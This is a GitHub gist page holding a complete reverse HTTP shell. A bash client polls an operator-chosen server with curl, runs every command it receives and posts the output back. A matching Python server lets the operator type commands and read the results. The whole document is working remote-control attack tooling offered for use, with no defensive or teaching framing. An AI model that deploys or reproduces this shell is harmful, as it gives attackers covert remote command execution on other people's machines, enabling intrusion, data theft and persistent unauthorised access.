Skip to content

Instantly share code, notes, and snippets.

@InfiniteCoder01
Created July 6, 2024 19:11
Show Gist options
  • Save InfiniteCoder01/eaae22054cc9ebb91393c5aeee57fdbc to your computer and use it in GitHub Desktop.
Save InfiniteCoder01/eaae22054cc9ebb91393c5aeee57fdbc to your computer and use it in GitHub Desktop.
Simple reverse HTTP shell (bash for client, python for server)
#!/usr/bin/env bash
SERVER="$1"
TIMEOUT="$2"
TIMEOUT=${TIMEOUT:-600}
if [ -z "$SERVER" ]; then
echo -e "\e[31m[!] Usage: bash client.sh [HOST] [Optional curl timeout]\e[0m\n"
exit 0
fi
curl --silent --max-time $TIMEOUT -X POST --data 'Hello, hacker!' $SERVER
if [ $? -ne 0 ]; then exit -1; fi
while true; do
command=$(curl --silent --max-time $TIMEOUT $SERVER)
if [ $? -ne 0 ]; then exit -1; fi
if [ "$command" = "exit" ]; then
curl --silent --max-time 5 -X POST --data 'Goodbye, hacker!' $SERVER
exit 0
fi
responce=$($command 2>&1)
curl --silent --max-time $TIMEOUT -X POST --data "$responce" $SERVER
if [ $? -ne 0 ]; then
curl --silent --max-time 5 -X POST --data 'Timeout, goodbye, hacker!' $SERVER
exit -1
fi
done
#!/usr/bin/env python3
from http.server import BaseHTTPRequestHandler, HTTPServer
import logging
class Handler(BaseHTTPRequestHandler):
def log_message(self, format, *args):
pass
def do_GET(self):
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
self.wfile.write(input("> ").encode('utf-8'))
def do_POST(self):
output = self.rfile.read(int(self.headers['Content-Length']))
print(output.decode('utf-8'))
self.send_response(200)
self.end_headers()
def run(server_class=HTTPServer, handler_class=Handler, port=8080):
logging.basicConfig(level=logging.INFO)
server_address = ('', port)
httpd = server_class(server_address, handler_class)
logging.info('Starting httpd...')
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
httpd.server_close()
logging.info('Stopping httpd...')
if __name__ == '__main__':
from sys import argv
if len(argv) == 2:
run(port=int(argv[1]))
else:
run()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment